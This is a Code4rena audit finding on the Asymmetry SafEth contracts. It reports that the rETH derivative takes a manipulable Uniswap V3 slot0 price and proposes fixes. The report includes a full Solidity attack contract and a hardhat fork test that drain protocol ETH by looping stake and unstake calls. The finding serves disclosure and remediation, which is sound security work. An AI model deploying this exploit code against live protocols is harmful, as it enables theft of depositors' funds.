Platform: Code4rena
Start Date: 24/03/2023
Pot Size: $49,200 USDC
Total HM: 20
Participants: 246
Period: 6 days
Judge: Picodes
Total Solo HM: 1
Id: 226
League: ETH
Rank: 244/246
Findings: 1
Award: $0.14
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: HHK
Also found by: 019EC6E2, 0Kage, 0x52, 0xRobocop, 0xTraub, 0xbepresent, 0xepley, 0xfusion, 0xl51, 4lulz, Bahurum, BanPaleo, Bauer, CodeFoxInc, Dug, HollaDieWaldfee, IgorZuk, Lirios, MadWookie, MiloTruck, RedTiger, Ruhum, SaeedAlipoor01988, Shogoki, SunSec, ToonVH, Toshii, UdarTeam, Viktor_Cortess, a3yip6, auditor0517, aviggiano, bearonbike, bytes032, carlitox477, carrotsmuggler, chalex, deliriusz, ernestognw, fs0c, handsomegiraffe, igingu, jasonxiale, kaden, koxuan, latt1ce, m_Rassska, n1punp, nemveer, nowonder92, peanuts, pontifex, roelio, rvierdiiev, shalaamum, shuklaayush, skidog, tank, teddav, top1st, ulqiorra, wait, wen, yac
0.1353 USDC - $0.14
https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/SafEth.sol#L72-L75 https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/SafEth.sol#L81 https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/SafEth.sol#L91-L95 https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/SafEth.sol#L98 https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/derivatives/Reth.sol#L211-L223 https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/derivatives/Reth.sol#L228-L242
The implementation of the Reth Derivatives ethperDerivative()
function vulnerable to Price manipulation. In conjunction with multiple calls to ethperDerivative()
is SafEth´s stake
function this allows an attacker to drain funds from the Contract.
Because ethPerDerivative can give different results, each time it is called in the stake
function, an attacker can manipulate it, to return a higher result in one case, than in the other to take a benefit.
In worst case the attacker can make the first call, which is used to calculate underlyingValue
, return 0 and therefore get more SafEth Token in the end. (see PoC)
An Attacker, having access to a large amount of rETH
token (rETH
whale or obtained via flashloan and swap) can perform the following steps (full attack contract code below).
RocketEthDepositPool
to a little less than the balance of the Reth-Derivative
by depositing/burning into the Pool (see _setRETHPoolCap
function)rocketPoolFreeCapacity / 2
for depositing into rEth
(see _getStakeAmount
function)
Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept.rEth
Token (see _bringPoolPriceDown
function) in this PoC this will result in a returned poolPrice of `0``stake
the calculated amount (see step 2.) in the safEth contract. (NOTE: This will mint more SafEth
than it should because of the price Manipulation)unstake
all SafEth
Token we have. (NOTE: This will result in having more ETH
than before)RocketEthDepositPool
capacity to a desired state (like in step 1.)WETH
for rETH
again (see function _bringPoolPriceUp
)In safEth
s stake
function the derivatives ethPerDerivative
function gets called 3 times per derivative. Each time possibly returning a different value!
First to calculate the underlying value, which is used then to calculate the preDepositPrice
. In this case we pass the current Balance of the Derivative to the function:
underlyingValue += (derivatives[i].ethPerDerivative(derivatives[i].balance()) * derivatives[i].balance()) / 10 ** 18;
preDepositPrice = (10 ** 18 * underlyingValue) / totalSupply;
And later, to calculate the staked ETH value (one call is inside the RETH derivatives deposit function). This time we pass the amount of ETH to stake for the derivative to the function:
uint256 depositAmount = derivative.deposit{value: ethAmount}(); uint derivativeReceivedEthValue = (derivative.ethPerDerivative( depositAmount ) * depositAmount) / 10 ** 18; totalStakeValueEth += derivativeReceivedEthValue;
These values are used to calculate the amount of Tokens to mint:
uint256 mintAmount = (totalStakeValueEth * 10 ** 18) / preDepositPrice;
NOTE: As we divide by the preDepositPrice
, a manipulation to get this lower than expected, while keeping the same amount of derivativeReceivedEthValue
will result in more tokens minted, than intended.
Depending on a Derivative implementation of ethPerDerivative
it is possible that 2 calls return a different response (use different oracles). Specifically in this implementation, that is the case for the RETH
Derivative:
The ethPerDerivative
function check´s if the passed amount is fitting in the RocketEthDepositPool
, if that is the case it used the rETH
Token´s getEthValue()
function. If the amount does not fit in the pool, it uses the UniswapV3 pool Price as an Oracle.
function poolPrice() private view returns (uint256) { address rocketTokenRETHAddress = RocketStorageInterface( ROCKET_STORAGE_ADDRESS ).getAddress( keccak256( abi.encodePacked("contract.address", "rocketTokenRETH") ) ); IUniswapV3Factory factory = IUniswapV3Factory(UNI_V3_FACTORY); IUniswapV3Pool pool = IUniswapV3Pool( factory.getPool(rocketTokenRETHAddress, W_ETH_ADDRESS, 500) ); (uint160 sqrtPriceX96, , , , , , ) = pool.slot0(); return (sqrtPriceX96 * (uint(sqrtPriceX96)) * (1e18)) >> (96 * 2); }
The way, the Uniswap Pool is used as Price Oracle (by getting the price via slot0()
) is not the recommended way of using Uniswap Pools as Oracle, because it is vulnerable to Price manipulation! (For better ways see Recommended Mitigation Steps).
The attack works by manipulating the UniSwapv3 PoolPrice to be significantly low, and then forcing the first call of ethPerDerivative
(which is used to calculate the underlyingValue
) to use this Pool as Oracle, but still keep the later calls (which are used to calculate the staked Amount) using the RocketEth
Token as Oracle.
Because the first call uses the whole balance as argument to ethPerDerivative
and the later ones only the ETH to be staked, this is possible by manipulating the free Capacity in the RocketEthDepositPool and setting it to be lower than the Balance of the rETH
Derivative, but higher than the amount of ETH to be staked in rETH for the current call.
This results in a preDepositPrice
lower than it should be and therefore minting more safEth
Token.
As in the unstake
function the safEth
Token is treated as a percentage of the total protocols balance, we can withdraw more ETH, than initially staked by unstaking all our safETH
Token directly afterwards.
This procedure can be repeated until the calculated stakeAmount
would be less than the minimum stake. By then we already stole most of the protocols ETH
.
Below relevant functions of the Exploitation Contract.
function attack2(uint _amount, uint8 _derivateIdx) external payable { require(msg.sender == owner, "onlyOwner"); // get min Stake Amount uint minStake = safEth.minAmount(); //TRANSFER RETH TO CONRACT RocketTokenRETHInterface reth = RocketTokenRETHInterface(rethAddress()); reth.transferFrom(msg.sender,address(this), _amount); // calculate amount to stake and set the Rocket Deposit Pool to desired state uint256 stakeAmount = _getStakeAmount(_derivateIdx); // if stake Amount is too low, theres noting to do but to return the funds. if(stakeAmount < minStake) { reth.transfer(owner, reth.balanceOf(address(this))); payable(owner).transfer(address(this).balance); return; } // Manipulate Pool Price () _bringPoolPriceDown(); // High approval for our safEth safEth.approve(address(safEth),0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff); // Theoretically we could do a while loop checking if there´s still balance in the RETH derivative // However, this would require some gas Optimizations, because it was running out of gas. therefore i limit it to 25 calls //To drain all funds, we will have to call the attack multiple times. for (uint8 i = 0; i < 25; ) { if(stakeAmount < minStake) { // If we reacked minStake we are done break; } // staking the calculated amount safEth.stake{value: stakeAmount}(); //unstaking all safEth Token safEth.unstake(safEth.balanceOf(address(this))); //calculate new stake amount stakeAmount = _getStakeAmount(_derivateIdx); unchecked { i++; } } // Bring Pool Price Up again _bringPoolPriceUp(); //Transfer assets back to owner reth.transfer(owner, reth.balanceOf(address(this))); payable(owner).transfer(address(this).balance); } function _getStakeAmount(uint256 _derivateIdx) private returns (uint256) { // set RETH Pool Capacity and divide the capacity by 2. // We have to do this, because ethPerDerivative is called twice, and second time is after depositing to the pool. Therefore having the full capacity deposited would result in using the Uniswap Pool as Oracle, which we do not want. uint256 desiredRethPart = _setRETHPoolCap(safEth.derivatives(_derivateIdx)) / 2; // Caclulate the stake Amount based on the Weights uint maxStakeAmount = (desiredRethPart * safEth.weights(_derivateIdx)) / safEth.weights(_derivateIdx); return (maxStakeAmount); } function _setRETHPoolCap(IDerivative _dreth ) private returns (uint256) { // We require to have the capacity a little bit less then the Derivative Tokens balance uint maxRequiredCap = _dreth.balance() -10; RocketTokenRETHInterface reth = RocketTokenRETHInterface(rethAddress()); // get the RocketPoolData (uint256 balance, uint256 max, ) = _getRocketPoolData(); // Check if we are good to go or we have to deposit/burn tokens if(max - balance == maxRequiredCap) {return maxRequiredCap;} if(max - balance < maxRequiredCap) { // need to withdraw to reach capacity uint capGap = maxRequiredCap - (max - balance); uint256 amountToBurn = reth.getRethValue(address(reth).balance + capGap); reth.burn(amountToBurn); } else { //need to deposit tokens uint capGap = (max - balance) - maxRequiredCap; _depositReth(capGap); } return maxRequiredCap; } function _depositReth(uint _amount) private { address rocketDepositPoolAddress = RocketStorageInterface( ROCKET_STORAGE_ADDRESS ).getAddress( keccak256( abi.encodePacked("contract.address", "rocketDepositPool") ) ); RocketDepositPoolInterface rocketDepositPool = RocketDepositPoolInterface( rocketDepositPoolAddress ); rocketDepositPool.deposit{value: _amount}(); } function _bringPoolPriceDown() private{ // Sell all our RETH for WETH IERC20 reth = IERC20(rethAddress()); uint256 amountSwapped = swapExactInputSingleHop( address(reth), W_ETH_ADDRESS, 500, reth.balanceOf(address(this)), 0 ); } function _bringPoolPriceUp() private { // Sell all our WETH for REth IERC20 weth = IERC20(W_ETH_ADDRESS); uint256 amountSwapped = swapExactInputSingleHop( W_ETH_ADDRESS, rethAddress(), 500, weth.balanceOf(address(this)), 0 ); } function _getRocketPoolData() private view returns (uint256, uint256, uint256) { address rocketDepositPoolAddress = RocketStorageInterface( ROCKET_STORAGE_ADDRESS ).getAddress( keccak256( abi.encodePacked("contract.address", "rocketDepositPool") ) ); RocketDepositPoolInterface rocketDepositPool = RocketDepositPoolInterface( rocketDepositPoolAddress ); address rocketProtocolSettingsAddress = RocketStorageInterface( ROCKET_STORAGE_ADDRESS ).getAddress( keccak256( abi.encodePacked( "contract.address", "rocketDAOProtocolSettingsDeposit" ) ) ); RocketDAOProtocolSettingsDepositInterface rocketDAOProtocolSettingsDeposit = RocketDAOProtocolSettingsDepositInterface( rocketProtocolSettingsAddress ); return (rocketDepositPool.getBalance(),rocketDAOProtocolSettingsDeposit.getMaximumDepositPoolSize(), rocketDAOProtocolSettingsDeposit.getMinimumDeposit()); }
The attack was called by ethers.js like this. Before this the following part of original Integration Tests ran:
it("Exploit", async function() { // Getting signer and safEth & rETHContract const [attacker] = await ethers.getSigners(); const strategy = await getLatestContract(strategyContractAddress, "SafEth"); const rETH = await ethers.getContractAt( "@openzeppelin/contracts/token/ERC20/IERC20.sol:IERC20", "0xae78736Cd615f374D3085123A210448E74Fc6393" ); //Imagine having a good ampount of RETH: in this case we do transfer them from a whale const RETH_WHALE_ADDRESS = "0xCc9EE9483f662091a1de4795249E24aC0aC2630f"; // we need to give him eth for gas await ethers.provider.send("hardhat_setBalance", [ RETH_WHALE_ADDRESS, "0xA968163F0A57B400000", //50k ETH ]); const rETHWhale = await ethers.getImpersonatedSigner(RETH_WHALE_ADDRESS); console.log("transfer reth") await rETH.connect(rETHWhale).transfer(attacker.address,ethers.utils.parseEther("3000")); // Deploying the Attack Contract console.log("deploy attack") const factory = await ethers.getContractFactory("AttackSafEth", attacker); const attack = await factory.deploy(strategy.address); // saving our balances before const ethBefore = await ethers.provider.getBalance(attacker.address); const rethBefore = await rETH.balanceOf(attacker.address); console.log("Attacker ETH:", ethers.utils.formatEther(ethBefore)) console.log("Attacker rETH:", ethers.utils.formatEther(rethBefore)); // Running our Attack 3 times in a loop console.log("run attack") for(let i = 1; i<= 3; i++) { console.log("Loop", i); // Approve spending of RETH await rETH.connect(attacker).approve(attack.address,ethers.utils.parseEther("3000")); // Call actual attack with 2150 RETH and passing 200 ETH in await attack.attack2(ethers.utils.parseEther("2150"),0,{value: ethers.utils.parseEther("200"), gasLimit: 30000000}); } // Check Balances afterwards const ethAfter = await ethers.provider.getBalance(attacker.address); const rethAfter = await rETH.balanceOf(attacker.address); console.log("Attacker ETH:", ethers.utils.formatEther(ethAfter)) console.log("Attacker rETH:", ethers.utils.formatEther(rethAfter)); console.log("ETH P/L", ethers.utils.formatEther(ethAfter.sub(ethBefore))) console.log("rETH P/L", ethers.utils.formatEther(rethAfter.sub(rethBefore))); // Attacker should have more eth than before. expect(await ethers.provider.getBalance(attacker.address)).to.be.gt(ethBefore); });
rETH
and Uniswap documentationA call of derivativesPerEth
should return always the same amount for one transaction to mitigate this kind of manipulation attack.
The use of UniswapV3 as a Price Oracle should not be done by obtaining the current price via slot0()
, but using a function which incorporates historical prices.
Uniswap recommends to use the observe
function for this purpose.
For further details see https://docs.uniswap.org/concepts/protocol/oracle and https://uniswapv3book.com/docs/milestone_5/price-oracle/
#0 - c4-pre-sort
2023-04-01T06:45:46Z
0xSorryNotSorry marked the issue as high quality report
#1 - c4-pre-sort
2023-04-04T11:05:45Z
0xSorryNotSorry marked the issue as primary issue
#2 - toshiSat
2023-04-07T17:27:39Z
This seems like a duplicate of many other price oracle tickets
#3 - elmutt
2023-04-07T17:28:49Z
Known issue from other reports. We are going to use a chainlink price oracle instead of uniswap v3 price to solve.
#4 - c4-sponsor
2023-04-07T17:29:03Z
elmutt marked the issue as sponsor confirmed
#5 - c4-judge
2023-04-19T11:03:58Z
Picodes marked the issue as satisfactory
#6 - c4-judge
2023-04-21T16:15:41Z
Picodes marked the issue as duplicate of #1125